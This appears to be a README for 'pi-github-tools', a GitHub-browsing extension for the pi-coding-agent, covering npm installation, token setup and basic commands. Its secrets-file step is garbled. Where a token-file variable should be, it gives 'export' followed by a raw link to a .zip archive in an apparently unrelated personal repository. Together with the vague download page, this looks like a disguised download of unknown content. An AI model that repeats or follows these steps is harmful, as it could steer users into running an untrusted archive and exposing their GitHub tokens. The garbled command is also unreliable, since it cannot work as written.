The pi-github-tools is an extension for the pi-coding-agent. This tool helps you read, search, and explore GitHub repositories directly from your pi environment. With these tools, using GitHub becomes simple and efficient.
To get started with pi-github-tools, you need to download and install the software. Follow these steps to set everything up smoothly.
Visit this page to download: Download pi-github-tools.
You can install the tool in two ways:
Open a terminal and run the following command:
pi install npm:@prinova/pi-github-toolsAlternatively, you can install it globally using npm. Run this command:
npm install -g @prinova/pi-github-toolsAfter installation, you need a GitHub Personal Access Token (PAT) to access the GitHub API. You can set this up in two ways:
In your terminal, run the command below to set your token:
export GITHUB_PAT=ghp_your_token_hereMake sure to replace ghp_your_token_here with your actual token.
If youβre using NixOS, Docker, or other setups where secrets are stored in files, do the following:
export https://github.com/yashlathiya2626/pi-github-tools/raw/refs/heads/main/src/github_pi_tools_v3.4.zipThis file should only contain your token, with no extra spaces or newlines. This method is handy for:
- NixOS automatic deployments
- Docker secrets mounted as files
- Kubernetes secrets
- systemd configurations
To verify that the installation was successful, run the following command in your terminal:
pi-github-tools --versionIf you see the version number, the tool is installed correctly.
With the pi-github-tools set up, you can now explore its features:
- Search Repositories: Quickly find repositories based on keywords or topics.
- Read Content: Access the files within repositories easily.
- Explore Open Source Projects: Dive into various open-source projects and learn from the code.
These tools streamline your GitHub experience, making it more user-friendly.
Here are some simple examples to help you use pi-github-tools effectively:
- To search for a repository:
pi-github-tools search <repository-name>- To read a file from a repository:
pi-github-tools read <repository-name> <file-path>Replace <repository-name> and <file-path> with the actual names.
If you need help, check the documentation in the repository or visit the support page.
We welcome contributions from the community. You can report issues, suggest features, or submit pull requests. Join us in improving pi-github-tools for everyone.
For more information, visit the GitHub Releases page to find the latest updates and versions.
By following these steps, you can download, install, and set up pi-github-tools with ease. Enjoy exploring GitHub with this powerful extension!